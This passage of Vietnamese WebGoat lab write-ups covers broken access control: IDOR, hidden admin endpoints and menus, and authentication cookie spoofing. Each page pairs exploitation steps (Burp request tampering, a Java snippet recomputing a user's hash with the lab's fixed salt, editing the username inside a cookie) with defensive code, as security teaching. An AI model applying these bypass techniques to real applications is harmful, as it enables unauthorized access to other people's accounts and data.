liệu, server phải kiểm tra xem user có quyền truy cập dữ liệu đó hay không. - Sai cách: [code csharp] [HttpGet("/profile/{id}")] public IActionResult GetProfile(int id) { var profile = _dbContext.Users.Find(id); return Ok(profile); // ❌ Không kiểm tra quyền } [/code] - Vấn đề: Nếu user Alice nhập ID của Bob, hệ thống vẫn trả về thông tin của Bob! - Đúng cách: [code csharp] [HttpGet("/profile/{id}")] public IActionResult GetProfile(int id) { var currentUserId = GetUserIdFromSession(); // Lấy ID của user đang đăng nhập if (currentUserId != id && !IsAdmin()) // Chỉ admin mới có thể xem người khác { return Forbid(); // 🔒 Từ chối truy cập } var profile = _dbContext.Users.Find(id); return Ok(profile); } [/code] ➡️ Kết quả: Người dùng chỉ có thể xem hồ sơ của mình, trừ khi họ là admin. 🔹 2. Sử dụng Indirect Object References (Tham chiếu gián tiếp) - Không sử dụng ID thật (`/profile/1234`) - Thay vào đó, sử dụng UUID hoặc mã hóa [code plaintext] GET /profile/a1b2c3d4e5f6 [/code] - Trên backend, ánh xạ `a1b2c3d4e5f6` → `userId = 1234`. - Attacker sẽ khó đoán ID chính xác. ### 🚨 7.2. Lỗ hổng chỉnh sửa dữ liệu người khác (Unauthorized Modification) #### 📌 Tình huống: Giả sử hệ thống cho phép người dùng chỉnh sửa hồ sơ qua API: [code plaintext] PUT /profile/1234 Body: { "role": "admin", "color": "red" } [/code] - Nếu attacker thay đổi ID và quyền (role), họ có thể nâng quyền admin trái phép! #### ✅ 🔒 Giải pháp bảo mật 🔹 1. Kiểm tra quyền trên Backend Sai cách (Dễ bị tấn công) [code csharp] [HttpPut("/profile/{id}")] public IActionResult UpdateProfile(int id, [FromBody] ProfileUpdateDto model) { var user = _dbContext.Users.Find(id); user.Role = model.Role; // ❌ User có thể tự đổi quyền! user.Color = model.Color; _dbContext.SaveChanges(); return Ok(); } [/code] [… phần còn lại đã lược bớt] ============================================================================ # 3.01 | Missing Function Level Access Control URL: https://tiennhm.io.vn/docs/web-security/webgoat-2023.8/A1-Broken-Access-Control/missing-function-level-access-control-01 Source: docs/02-web-security/webgoat-2023.8/A1-Broken-Access-Control/Missing-Function-Level-Access-Control-01.md Description: Bài viết này sẽ hướng dẫn cách tấn công Missing Function Level Access Control trên WebGoat 2023.8 Tags: web-security, webgoat, broken-access-control, missing-function-level-access-control, webgoat-2023.8 > 🔥 Missing Function Level Access Control (MFAC) - Lỗ hổng Kiểm soát Truy cập Cấp Hàm ## ✅ 1️⃣ MFAC là gì? 📌 Định nghĩa: Lỗ hổng Missing Function Level Access Control (MFAC) xảy ra khi ứng dụng không kiểm soát quyền truy cập vào một số chức năng ở cấp độ API hoặc backend, dẫn đến việc người dùng trái phép có thể gọi trực tiếp các API ẩn để thực hiện hành động mà họ không được phép. 📌 So sánh IDOR vs MFAC | 🔥 Lỗ hổng | ❌ Nguy cơ bảo mật | |--------------|------------------| | IDOR (Insecure Direct Object Reference) | Truy cập dữ liệu của người khác bằng cách thay đổi ID (`GET /profile/5678`) | | MFAC (Missing Function Level Access Control) | Truy cập chức năng cấm bằng cách gọi trực tiếp API (`POST /admin/deleteUser`) | 📌 IDOR → Kiểm soát nội dung dữ liệu 📌 MFAC → Kiểm soát quyền thực thi chức năng ## 🚨 2️⃣ Ví dụ thực tế về MFAC ### Tình huống nguy hiểm Một ứng dụng có giao diện quản trị viên để xóa người dùng: - Chỉ admin mới thấy nút "Xóa người dùng" - Tuy nhiên, API vẫn mở cho bất kỳ ai gọi trực tiếp: [code plaintext] POST /admin/deleteUser Body: { "userId": 5678 } [/code] - Nếu attacker biết API này, họ có thể gửi request xóa tài khoản mà không cần quyền admin. MFAC xảy ra khi giao diện ẩn chức năng nhưng backend không kiểm tra quyền khi gọi API trực tiếp: [code mermaid] flowchart TD U["Người dùng thường"] --> UI["Giao diện ẩn nút Xóa người dùng"] U --> API["Gọi trực tiếp POST /admin/deleteUser"] API --> C{"Backend kiểm tra quyền admin?"} C -->|"Không - lỗ hổng MFAC"| X["Xóa được user dù không phải admin"] C -->|"Có - Authorize Roles Admin"| F["403 Forbidden"] [/code] ## ✅ 3️⃣ Giải pháp bảo mật ### 🔒 1. Kiểm tra quyền trên Backend ❌ Sai cách (Dễ bị tấn công) [code csharp] [HttpPost("/admin/deleteUser")] public IActionResult DeleteUser([FromBody] DeleteUserDto request) { var user = _dbContext.Users.Find(request.UserId); if (user == null) return NotFound(); _dbContext.Users.Remove(user); _dbContext.SaveChanges(); return Ok(); } [/code] - Vấn đề: Không kiểm tra người gọi API có phải là admin hay không. ✅ Đúng cách (Bảo mật hơn) [code csharp] [Authorize(Roles = "Admin")] // 🔒 Chỉ admin mới được gọi API [HttpPost("/admin/deleteUser")] public IActionResult DeleteUser([FromBody] DeleteUserDto request) { var user = _dbContext.Users.Find(request.UserId); if (user == null) return NotFound(); _dbContext.Users.Remove(user); _dbContext.SaveChanges(); return Ok(); } [/code] 📌 Kết quả: ✅ Người dùng thường KHÔNG thể truy cập chức năng này, kể cả khi gọi API trực tiếp. ### 🔒 2. Ẩn Endpoint quan trọng (Security by Design) - Không để lộ API `/admin/deleteUser`, thay vào đó: [code plaintext] POST /user/action Body: { "action": "delete", "userId": 5678 } [/code] - Chỉ admin mới được phép thực hiện `"action": "delete"`. ### 🔒 3. Ghi log các hành động quan trọng - Nếu API bị tấn công, cần có log để điều tra. - Ví dụ ghi log khi xóa tài khoản: [code csharp] _logger.LogWarning($"Admin {currentUser.Id} deleted user {user.Id}"); [/code] ## 🔥 4️⃣ Tóm tắt: Cách ngăn chặn MFAC | ❌ Lỗ hổng | ✅ Giải pháp | |----------------|------------------| | API không kiểm tra quyền | Luôn dùng `[Authorize(Roles = "...")]` để giới hạn quyền truy cập | | Lộ API quan trọng | Đặt tên API chung chung để tránh bị lộ | | Không có log giám sát | Ghi log mọi hành động quan trọng để dễ điều tra | ## Bài liên quan - Đổi id trên URL ra dữ liệu người khác? Chặn IDOR ở một tầng duy nhất — IDOR xảy ra khi API nhận id từ request rồi đọc thẳng bản ghi mà không hỏi xem người gọi có sở hữu bản ghi đó không. ============================================================================ # 3.02 | Missing Function Level Access Control URL: https://tiennhm.io.vn/docs/web-security/webgoat-2023.8/A1-Broken-Access-Control/missing-function-level-access-control-02 Source: docs/02-web-security/webgoat-2023.8/A1-Broken-Access-Control/Missing-Function-Level-Access-Control-02.md Description: Nguy hiểm: Hacker có thể bật lại, xem hoặc đoán được các phần bị ẩn một cách dễ dàng. Tags: web-security, webgoat, broken-access-control, missing-function-level-access-control, webgoat-2023.8 > 🔥 Phân tích lỗ hổng "Relying on Obscurity" & Cách tìm Menu ẩn ## ✅ 1️⃣ Lỗ hổng "Relying on Obscurity" là gì? 📌 Định nghĩa: Nhiều ứng dụng cố gắng bảo mật bằng cách ẩn các tính năng quan trọng thay vì kiểm soát truy cập thực sự. Điều này nguy hiểm vì hacker có thể dễ dàng tìm ra và khai thác. 📌 Ví dụ thực tế: - Ẩn nút bằng CSS (`display: none`) - Ẩn phần tử bằng JavaScript (`if (!isAdmin) hideMenu()`) - Ẩn đường dẫn URL admin - Comment mã nguồn HTML chứa thông tin nhạy cảm 🚨 Nguy hiểm: Hacker có thể bật lại, xem hoặc đoán được các phần bị ẩn một cách dễ dàng. ## 🚀 2️⃣ Cách tìm Menu ẩn trong WebGoat Giả sử menu hiển thị trên UI như sau: [code html] [/code] 📌 Các cách hacker có thể phát hiện menu ẩn: ✅ Dùng "View Source" (Ctrl + U) → Tìm các phần tử bị comment (``) ✅ Dùng DevTools (F12 → Elements) → Kiểm tra `display: none;` và chỉnh sửa ✅ Kiểm tra JavaScript → Xem file `.js` có ẩn nội dung không ✅ Sử dụng API Scanner → Kiểm tra `/users`, `/admin`, `/config` có tồn tại không 🎯 Kết quả tìm thấy hai mục menu ẩn: 🔍 Hidden item 1: `Users` 🔍 Hidden item 2: `Config` ## 🔒 3️⃣ Giải pháp bảo mật ### ✅ 1. Không dựa vào UI để bảo mật ❌ Sai: Ẩn bằng `display: none;` hoặc JavaScript ✅ Đúng: Kiểm soát quyền truy cập trên Backend [code csharp] [Authorize(Roles = "Admin")] public IActionResult Users() { return View(); } [/code] ### ✅ 2. Kiểm soát hiển thị trên Server (Không hiển thị nếu không có quyền) [code csharp] @if (User.IsInRole("Admin")) {
  • Users
    • } [/code] 📌 Kết quả: - Người dùng thường không thấy menu Users - Hacker không thể thấy dù dùng DevTools ### ✅ 3. Ghi log mọi truy cập đáng ngờ [code csharp] _logger.LogWarning($"Unauthorized access attempt: {HttpContext.User.Identity.Name} tried to access /config"); [/code] 📌 Kết quả: - Ghi lại tất cả truy cập đáng ngờ - Giúp phát hiện hacker sớm hơn ## 🔥 4️⃣ Tóm tắt & Kết luận | ❌ Sai lầm | ✅ Cách sửa | |----------------|------------------| | Ẩn menu bằng CSS hoặc JS | Kiểm soát truy cập từ Backend | | Chỉ chặn hiển thị trên Frontend | Ẩn nội dung từ Server | | Không giám sát truy cập | Ghi log mọi request đáng ngờ | 📌 Bài học rút ra: "Bảo mật thực sự không nằm ở việc ẩn giấu, mà ở việc kiểm soát quyền truy cập đúng cách!" 🚀 Xem chi tiết tại đây (https://docs.cycubix.com/application-security-series/web-application-security-essentials/solutions/a5-broken-access-control/a1-2021-or-missing-function-level-access-control-or-cycubix-docs/missing-function-level-access-control-2). ============================================================================ # 3.03 | Missing Function Level Access Control URL: https://tiennhm.io.vn/docs/web-security/webgoat-2023.8/A1-Broken-Access-Control/missing-function-level-access-control-03 Source: docs/02-web-security/webgoat-2023.8/A1-Broken-Access-Control/Missing-Function-Level-Access-Control-03.md Description: Bài tập này nhấn mạnh vào việc kiểm tra quyền truy cập bị bỏ sót. Nhiều ứng dụng chỉ ẩn chức năng trên giao diện người dùng (UI) mà không thực sự kiểm tra. Tags: web-security, webgoat, broken-access-control, missing-function-level-access-control, webgoat-2023.8 > 🔥 Phân tích & Cách khai thác lỗ hổng "Try It" trong WebGoat ## ✅ 1️⃣ Ý nghĩa của bài tập này? Bài tập này nhấn mạnh vào việc kiểm tra quyền truy cập bị bỏ sót. Nhiều ứng dụng chỉ ẩn chức năng trên giao diện người dùng (UI) mà không thực sự kiểm tra quyền trên backend, dẫn đến việc hacker có thể truy cập trái phép bằng cách thử trực tiếp các endpoint. 📌 Bài toán thực tế: - Bạn đã tìm thấy 2 menu ẩn: `/users` và `/config` - Mục tiêu: Khai thác endpoint `/users` để lấy danh sách người dùng - Cần tìm hash của tài khoản Jerry và nhập vào WebGoat ## 🚀 2️⃣ Cách khai thác lỗ hổng "Try It" ### 🔎 Cách 1: Sử dụng Burp Suite/ZAP để chặn & thay đổi request Bước 1️⃣: Bật Intercept (chặn request) - Mở Burp Suite → Bật Intercept - Truy cập WebGoat → Click Submit dưới mục "User Hash" - Chặn request để kiểm tra endpoint nào bị gọi Bước 2️⃣: Tìm & sửa request - Xem request bị chặn, đổi endpoint từ `/user-hash` thành `/users` - Nếu lỗi "Unsupported Media Type", thêm header: [code http] Content-Type: application/json; charset=UTF-8 [/code] - Nếu lỗi "Expected JSON object", chuyển từ `POST` sang `GET` - Nếu lỗi quyền truy cập, thử chèn role admin (`WEBGOAT_ADMIN`) Bước 3️⃣: Gửi request & trích xuất dữ liệu - Nếu request thành công, dữ liệu user sẽ trả về. - Tìm hash của Jerry và nhập vào WebGoat. ### 🔎 Cách 2: Dùng Developer Tools (DevTools) Bước 1️⃣: Mở DevTools (F12) → Chuyển sang tab Network - Truy cập `http://localhost:8080/WebGoat/users` - Xem các request gửi đi, tìm endpoint `/users` Bước 2️⃣: Chỉnh sửa request - Click vào request `/users` → Edit & Resend - Thêm header: [code http] Content-Type: application/json [/code] - Gửi request và kiểm tra phản hồi. ## 🔒 3️⃣ Giải pháp phòng tránh ### ✅ 1. Kiểm soát quyền truy cập trên Backend Không chỉ kiểm tra role trên UI, mà phải kiểm tra trên API: [code csharp] [Authorize(Roles = "Admin")] public IActionResult GetUsers() { return Json(userService.GetAllUsers()); } [/code] ### ✅ 2. Tránh để lộ thông tin trong response - Không trả về danh sách user nếu không cần thiết. - Hash toàn bộ dữ liệu nhạy cảm. ### ✅ 3. Ghi log & chặn hành vi đáng ngờ - Nếu có nhiều request bất thường đến `/users`, có thể là hacker đang tấn công. - Ghi lại các request bị từ chối. ## 🔥 4️⃣ Kết luận | ❌ Sai lầm | ✅ Cách sửa | |--------------|------------------| | Chỉ ẩn menu bằng UI | Kiểm soát quyền từ backend | | Không kiểm tra quyền trên API | Dùng `[Authorize]` để chặn API | | Lộ thông tin user trong response | Chỉ trả về thông tin cần thiết | 📌 Bài học rút ra: 🔹 Chỉ vì bạn không thấy không có nghĩa là nó không tồn tại! 🚀 Xem chi tiết tại đây (https://docs.cycubix.com/application-security-series/web-application-security-essentials/solutions/a5-broken-access-control/a1-2021-or-missing-function-level-access-control-or-cycubix-docs/missing-function-level-access-control-3). ============================================================================ # 3.04 | Missing Function Level Access Control URL: https://tiennhm.io.vn/docs/web-security/webgoat-2023.8/A1-Broken-Access-Control/missing-function-level-access-control-04 Source: docs/02-web-security/webgoat-2023.8/A1-Broken-Access-Control/Missing-Function-Level-Access-Control-04.md Description: Bài tập này kiểm tra cách ứng dụng xử lý các lỗ hổng bảo mật sau khi vá lỗi. Tags: web-security, webgoat, broken-access-control, missing-function-level-access-control, webgoat-2023.8 Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/web-security/webgoat-2023.8/A1-Broken-Access-Control/missing-function-level-access-control-04 > 🔥 Phân tích & Cách khai thác lỗ hổng "The company fixed the problem, right?" trong WebGoat ## ✅ 1️⃣ Ý nghĩa của bài tập này? Bài tập này kiểm tra cách ứng dụng xử lý các lỗ hổng bảo mật sau khi vá lỗi. Lỗi ban đầu của hệ thống là bất kỳ ai cũng có thể truy cập danh sách người dùng qua endpoint `/users`. Sau khi công ty vá lỗi, chỉ admin mới có thể xem danh sách này. Tuy nhiên, hacker vẫn có thể: ✅ Dự đoán & tạo lại hash nếu biết cách hệ thống tạo hash. ✅ Bypass kiểm tra quyền hạn nếu API backend không thực sự chặn request. 📌 Tình huống giả định: - Trước đó, bất kỳ người dùng nào cũng có thể truy cập danh sách `/users`. - Công ty đã vá lỗi → Chỉ admin mới có thể truy cập. - Mục tiêu: Tìm hash của Jerry mà không có quyền admin ## 🚀 2️⃣ Cách khai thác lỗ hổng sau khi fix ### 🔎 Cách 1: Khôi phục hash của Jerry bằng thuật toán SHA-256 Vì ta không thể lấy danh sách `/users`, ta sẽ dự đoán và tạo lại hash của Jerry. 📌 Chiến lược: - Dự đoán cách ứng dụng băm mật khẩu - Dùng cùng thuật toán SHA-256 để tạo hash - So sánh với hash cũ ta tìm thấy trước đó 📌 Thông tin từ bài trước: - Salt được dùng: `"DeliberatelyInsecure1235"` - Cấu trúc hash: `SHA-256(password + salt + username)` 📌 🔹 Code Java để tính lại hash của Jerry [code java] import java.nio.charset.StandardCharsets; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; import java.util.Base64; public class Main { public static void main(String[] args) { String password = "doesnotreallymatter"; String username = "Jerry"; String passwordSalt = "DeliberatelyInsecure1235"; // Strong Salt try { MessageDigest md = MessageDigest.getInstance("SHA-256"); String combined = password + passwordSalt + username; byte[] hash = md.digest(combined.getBytes(StandardCharsets.UTF_8)); System.out.println("Hash của Jerry: " + Base64.getEncoder().encodeToString(hash)); } catch (NoSuchAlgorithmException e) { throw new RuntimeException(e); } } } [/code] 💻 Hướng dẫn chạy code 1️⃣ Lưu code thành `Main.java` 2️⃣ Mở terminal và biên dịch: [code sh] javac Main.java [/code] 3️⃣ Chạy chương trình: [code sh] java Main [/code] 4️⃣ Copy hash và dán vào WebGoat ### 🔎 Cách 2: Sử dụng Burp Suite để thử lại quyền truy cập 💡 Có thể backend chỉ chặn giao diện UI nhưng không chặn API? 📌 Các bước thử nghiệm: 1️⃣ Mở Burp Suite → Bật Intercept 2️⃣ Truy cập WebGoat → Thử gọi `/users` qua API 3️⃣ Nếu bị chặn → Thử đổi User-Agent thành Admin 4️⃣ Nếu vẫn bị chặn → Thử bypass bằng session hijacking ## 🔒 3️⃣ Giải pháp phòng tránh ### 🔹 1. Sử dụng phương pháp băm an toàn (Password Hashing) 📌 Sai lầm trong hệ thống hiện tại: - Sử dụng SHA-256 một lần duy nhất để băm mật khẩu. - Salt (`DeliberatelyInsecure1235`) bị cố định → dễ bị đoán. 📌 Cách làm đúng: 🔹 Dùng thuật toán băm an toàn hơn như `bcrypt`, `PBKDF2` hoặc `Argon2`. 🔹 Sử dụng salt ngẫu nhiên cho mỗi user thay vì dùng chung một salt. ### 🚀 Ví dụ: Cách băm mật khẩu bằng bcrypt trong Java [code java] import org.mindrot.jbcrypt.BCrypt; public class SecureHashing { public static void main(String[] args) { String password = "JerrySecurePassword"; // Tạo salt ngẫu nhiên và băm mật khẩu String hashedPassword = BCrypt.hashpw(password, BCrypt.gensalt()); System.out.println("Hashed Password: " + hashedPassword); } } [/code] 💡 Lợi ích: ✅ Bcrypt tự động thêm salt ngẫu nhiên. ✅ Bcrypt có cơ chế làm chậm (work factor), khiến việc bẻ khóa khó hơn. ### 🔹 2. Kiểm soát quyền hạn chặt chẽ trên Backend (API Authorization) 📌 Sai lầm trong hệ thống hiện tại: - Chỉ chặn truy cập trên giao diện mà không kiểm tra quyền trong API backend. - Hacker có thể gửi request trực tiếp đến API để truy vấn dữ liệu. 📌 Cách làm đúng: 🔹 Kiểm tra quyền của user trên API, không chỉ trên giao diện. 🔹 Dùng OAuth2 / JWT để xác thực user và phân quyền chặt chẽ. 🔹 Hạn chế thông tin trả về (Least Privilege) → chỉ cho user thấy dữ liệu họ được phép xem. ### 🚀 Ví dụ: Kiểm tra quyền hạn trong API (ASP.NET Core) [code csharp] [Authorize(Roles = "Admin")] [HttpGet("users")] public IActionResult GetUsers() { var users = _userService.GetAllUsers(); return Ok(users); } [/code] 💡 Lợi ích: ✅ Chỉ admin mới có thể gọi API `/users`. ✅ Hacker không thể bypass chỉ bằng cách gửi request trực tiếp. ### 🔹 3. Bảo vệ API chống tấn công Brute Force và Enumeration 📌 Sai lầm trong hệ thống hiện tại: - Hacker có thể thử nhiều lần để đoán hash của Jerry. - Không có giới hạn số lần thử → dễ bị brute-force. 📌 Cách làm đúng: 🔹 Giới hạn số lần thử (Rate Limiting). 🔹 Chống dò đoán thông tin bằng Captcha hoặc Delay Response. 🔹 Ẩn lỗi trả về để hacker không đoán được user tồn tại hay không. ### 🚀 Ví dụ: Chống brute force trong API (Node.js + Express + Rate Limiter) [code javascript] const rateLimit = require('express-rate-limit'); const loginLimiter = rateLimit({ windowMs: 15 * 60 * 1000, // 15 phút max: 5, // Chỉ cho phép thử 5 lần message: "Quá nhiều lần thử đăng nhập. Vui lòng thử lại sau 15 phút." }); app.post('/login', loginLimiter, (req, res) => { // Xử lý đăng nhập }); [/code] 💡 Lợi ích: ✅ Ngăn chặn hacker thử nhiều lần để dò mật khẩu. ✅ Bảo vệ user khỏi tấn công brute-force. ## 🔎 3️⃣ Kết luận: Cách làm đúng | ❌ Sai lầm | ✅ Cách sửa | |--------------|------------------| | Dùng SHA-256 với salt cố định | Dùng `bcrypt` hoặc `Argon2` với salt ngẫu nhiên | | Chỉ chặn UI nhưng không kiểm tra API | Kiểm tra quyền trên backend (API) | | Không giới hạn số lần thử | Dùng Rate Limiting & Captcha để chống brute-force | | API trả về lỗi rõ ràng | Ẩn lỗi, không tiết lộ thông tin user có tồn tại hay không | 📌 Bài học quan trọng: ✅ Không chỉ sửa lỗi trên UI – phải kiểm tra cả API backend! ✅ Mật khẩu và hash cần được bảo vệ bằng thuật toán mạnh như bcrypt. ✅ Phải chống brute-force để ngăn hacker dò mật khẩu. 🔥 "Fix lỗi" không có nghĩa là an toàn – hacker luôn tìm cách mới để khai thác!" 🚀 [… phần còn lại đã lược bớt] ============================================================================ # 4.01 | Spoofing an Authentication Cookie URL: https://tiennhm.io.vn/docs/web-security/webgoat-2023.8/A1-Broken-Access-Control/spoofing-an-authentication-cookie-01 Source: docs/02-web-security/webgoat-2023.8/A1-Broken-Access-Control/Spoofing-an-Authentication-Cookie-01.md Description: Bài viết này sẽ hướng dẫn cách tấn công Spoofing an Authentication Cookie trên WebGoat 2023.8 Tags: web-security, webgoat, broken-access-control, spoofing-an-authentication-cookie, webgoat-2023.8 > 🔐 Phòng tránh lỗ hổng bảo mật liên quan đến Authentication Cookies ## 📌 1️⃣ Tại sao authentication cookies dễ bị tấn công? 1. Dự đoán thuật toán sinh cookie → Hacker có thể tạo cookie giả mạo. 2. Đánh cắp cookie qua XSS → Nếu trang web có lỗ hổng XSS, hacker có thể lấy cookie của user. 3. Tấn công Man-in-the-Middle (MitM) → Nếu cookie không được bảo vệ bằng HTTPS, hacker có thể chặn cookie trong quá trình truyền. 4. Cookie không có thời hạn hết hạn (Session Fixation) → Hacker có thể dùng lại cookie cũ để truy cập vào tài khoản. 💡 Mục tiêu của chúng ta: ✔️ Bảo vệ cookie khỏi bị đánh cắp. ✔️ Ngăn hacker giả mạo cookie. ✔️ Giảm thiểu thời gian hacker có thể khai thác cookie. ## ✅ 2️⃣ Giải pháp phòng tránh ### 🔹 1. Sử dụng cookie bảo mật (Secure, HttpOnly, SameSite, Domain, Path) 📌 Sai lầm phổ biến: - Không đặt thuộc tính `HttpOnly`, cho phép hacker lấy cookie bằng JavaScript (XSS). - Không đặt `Secure`, khiến cookie bị gửi qua HTTP thay vì HTTPS. - Không có `SameSite`, làm cho cookie bị gửi đến trang web khác (CSRF). 📌 Cách làm đúng: 🔹 Kích hoạt các thuộc tính bảo mật trong cookie: [code http] Set-Cookie: sessionId=abc123; Secure; HttpOnly; SameSite=Strict; Path=/; Domain=example.com; [/code] 🔹 Ý nghĩa các thuộc tính: | Thuộc tính | Ý nghĩa | |---------------------|---------| | Secure | Chỉ gửi cookie qua HTTPS, ngăn chặn tấn công MitM. | | HttpOnly | Ngăn JavaScript truy cập cookie, giảm rủi ro XSS. | | SameSite=Strict | Ngăn CSRF bằng cách chỉ gửi cookie trong cùng một site. | | Domain & Path | Giới hạn cookie chỉ được sử dụng trong phạm vi nhất định. | ### 🔹 2. Mã hóa & ký cookie để chống giả mạo 📌 Sai lầm phổ biến: - Lưu thông tin session trực tiếp trong cookie dưới dạng plaintext. - Không có cơ chế xác thực tính hợp lệ của cookie. 📌 Cách làm đúng: 🔹 Sử dụng JWT (JSON Web Token) để ký và mã hóa cookie 🔹 Dùng thuật toán băm mạnh như HMAC-SHA256 để đảm bảo tính toàn vẹn của cookie 🚀 Ví dụ: Tạo cookie an toàn với JWT trong Node.js [code javascript] const jwt = require('jsonwebtoken'); const user = { id: 123, username: "admin" }; const secretKey = "supersecretkey"; const token = jwt.sign(user, secretKey, { expiresIn: '1h' }); // Lưu vào cookie với các thuộc tính bảo mật res.cookie('auth', token, { httpOnly: true, secure: true, sameSite: 'Strict' }); [/code] 💡 Lợi ích: ✅ Hacker không thể sửa nội dung cookie do có chữ ký số. ✅ Token có thời hạn hết hạn, giảm nguy cơ bị lợi dụng lâu dài. ### 🔹 3. Hạn chế thời gian sống của cookie (Session Expiration) 📌 Sai lầm phổ biến: - Cookie không có thời gian hết hạn → Nếu bị đánh cắp, hacker có thể dùng mãi mãi. 📌 Cách làm đúng: 🔹 Đặt thời gian hết hạn ngắn cho cookie. 🔹 Bắt buộc đăng xuất người dùng sau một khoảng thời gian không hoạt động. 🚀 Ví dụ: Đặt thời gian hết hạn cho cookie [code http] Set-Cookie: sessionId=abc123; Secure; HttpOnly; Expires=Wed, 21 Oct 2025 07:28:00 GMT; [/code] 💡 Lợi ích: ✅ Nếu hacker có cookie, nó cũng sẽ hết hạn nhanh chóng. ✅ Giảm thời gian hacker có thể khai thác phiên người dùng. ### 🔹 4. Chống tấn công Cross-Site Scripting (XSS) 📌 Sai lầm phổ biến: - Website có lỗ hổng XSS → Hacker có thể lấy cookie qua `document.cookie`. 📌 Cách làm đúng: 🔹 Đặt thuộc tính `HttpOnly` để ngăn JavaScript đọc cookie. 🔹 Lọc & mã hóa đầu vào để tránh XSS. 🔹 Dùng Content Security Policy (CSP) để ngăn chặn JavaScript độc hại. 🚀 Ví dụ: Kích hoạt CSP trong header [code http] Content-Security-Policy: default-src 'self'; script-src 'self'; [/code] 💡 Lợi ích: ✅ Ngăn hacker chèn mã JavaScript để lấy cookie. ✅ Tăng cường bảo mật cho toàn bộ ứng dụng web. ### 🔹 5. Chống tấn công Session Fixation 📌 Sai lầm phổ biến: - Hệ thống giữ nguyên `sessionId` sau khi user đăng nhập → Hacker có thể ép user sử dụng session của mình. 📌 Cách làm đúng: 🔹 Tạo session mới sau khi đăng nhập thành công. 🔹 Không cho phép người dùng tự đặt sessionId. 🚀 Ví dụ: Reset session sau khi đăng nhập [code javascript] req.session.regenerate(function(err) { req.session.user = user; res.redirect('/dashboard'); }); [/code] 💡 Lợi ích: ✅ Hacker không thể ép user dùng session cũ của hắn. ✅ Đảm bảo mỗi lần đăng nhập có session riêng. ## 🔎 3️⃣ Kết luận | ❌ Sai lầm | ✅ Cách sửa | |----------------|------------------| | Không đặt `HttpOnly`, cho phép hacker lấy cookie qua XSS | Đặt `HttpOnly` để ngăn JavaScript truy cập cookie | | Không đặt `Secure`, cho phép gửi cookie qua HTTP | Đặt `Secure` để chỉ gửi cookie qua HTTPS | | Không đặt thời gian hết hạn cho cookie | Thiết lập thời gian hết hạn (`Expires` hoặc `Max-Age`) | | Lưu thông tin session trong cookie không mã hóa | Sử dụng JWT hoặc HMAC-SHA256 để bảo vệ dữ liệu trong cookie | | Không đổi sessionId sau khi đăng nhập | Regenerate session sau khi đăng nhập thành công | 📌 Bài học quan trọng: ✅ Cookie phải được bảo vệ bằng nhiều lớp: mã hóa, ký, hạn chế truy cập. ✅ Chỉ sửa lỗi trên UI không đủ – phải kiểm tra backend! ✅ Bảo mật authentication cookies là cốt lõi của mọi hệ thống đăng nhập. 🔥 "Một cookie không được bảo vệ có thể phá hủy toàn bộ hệ thống!" 🚀 ============================================================================ # 4.02 | Spoofing an Authentication Cookie URL: https://tiennhm.io.vn/docs/web-security/webgoat-2023.8/A1-Broken-Access-Control/spoofing-an-authentication-cookie-02 Source: docs/02-web-security/webgoat-2023.8/A1-Broken-Access-Control/Spoofing-an-Authentication-Cookie-02.md Description: Mô tả: Hacker cố gắng tìm ra cách hệ thống tạo authentication cookie, sau đó tạo một cookie giả mạo để đăng nhập vào tài khoản khác (Tom). Tags: web-security, webgoat, broken-access-control, spoofing-an-authentication-cookie, webgoat-2023.8 > 🛑 Phân tích & Phòng tránh tấn công giả mạo Authentication Cookie ### 🔥 Tấn công: Spoofing Authentication Cookie 💡 Mô tả: Hacker cố gắng tìm ra cách hệ thống tạo authentication cookie, sau đó tạo một cookie giả mạo để đăng nhập vào tài khoản khác (Tom). 🕵️ Cách hacker thực hiện tấn công: 1. Bắt gói tin bằng Burp Suite hoặc ZAP → Xem authentication cookie sau khi đăng nhập. 2. Phát hiện cookie có cấu trúc Base64 hoặc HEX → Giải mã để tìm quy luật tạo cookie. 3. Thay đổi giá trị username trong cookie (ví dụ: "webgoat" ➝ "tom"). 4. Mã hóa lại thành Base64 hoặc HEX và gửi lại request. 5. Hệ thống không kiểm tra chữ ký của cookie ➝ Cho phép hacker đăng nhập vào tài khoản Tom! [code mermaid] sequenceDiagram participant A as Attacker participant S as Server A->>S: Đăng nhập hợp lệ (webgoat) S-->>A: Set-Cookie (Base64 / HEX) A->>A: Giải mã, đổi username webgoat → tom A->>A: Mã hóa lại cookie A->>S: Gửi request với cookie giả mạo Note over S: Không kiểm tra chữ ký cookie S-->>A: Đăng nhập vào tài khoản Tom [/code] 💀 Nguyên nhân lỗ hổng: ❌ Cookie không được ký hoặc mã hóa đúng cách. ❌ Không có kiểm tra tính toàn vẹn của cookie. ❌ Username được lưu trực tiếp trong cookie mà không có bảo vệ. ## ✅ Phòng tránh tấn công giả mạo Authentication Cookie ### 🔹 1. Ký và mã hóa authentication cookie 🔐 Giải pháp: ✔️ Sử dụng JWT (JSON Web Token) có chữ ký số để bảo đảm cookie không thể bị thay đổi. ✔️ Dùng thuật toán HMAC-SHA256 để ký cookie, hacker không thể thay đổi mà không có secret key. 🚀 Ví dụ: Tạo cookie an toàn trong Node.js [code javascript] const jwt = require('jsonwebtoken'); const user = { id: 123, username: "webgoat" }; const secretKey = "super-secret-key"; // 🔑 Không được lộ key này! const token = jwt.sign(user, secretKey, { algorithm: "HS256", expiresIn: '1h' }); res.cookie('auth', token, { httpOnly: true, secure: true, sameSite: 'Strict' }); [/code] ✅ Lợi ích: ✔️ Hacker không thể sửa username trong cookie mà không có secret key. ✔️ Ngăn chặn tấn công giả mạo authentication cookie. ### 🔹 2. Không lưu username trực tiếp trong cookie 🔐 Giải pháp: ✔️ Chỉ lưu session ID, không lưu username trong cookie. ✔️ Dữ liệu session phải được lưu trên server, không lưu toàn bộ thông tin trong cookie. 🚀 Ví dụ: Chỉ lưu session ID thay vì username [code http] Set-Cookie: sessionId=abc123; Secure; HttpOnly; SameSite=Strict; [/code] ✅ Lợi ích: ✔️ Nếu hacker có được cookie, hắn cũng không biết username. ✔️ Hạn chế rủi ro giả mạo tài khoản. ### 🔹 3. Kiểm tra tính toàn vẹn của cookie 🔐 Giải pháp: ✔️ Sử dụng HMAC (Hash-based Message Authentication Code) để bảo đảm tính toàn vẹn. ✔️ Kiểm tra chữ ký số trước khi chấp nhận cookie. 🚀 Ví dụ: Tạo HMAC SHA256 trong Python [code python] import hmac import hashlib import base64 secret_key = b'super-secret-key' message = b"webgoat" # Tạo chữ ký HMAC SHA256 signature = hmac.new(secret_key, message, 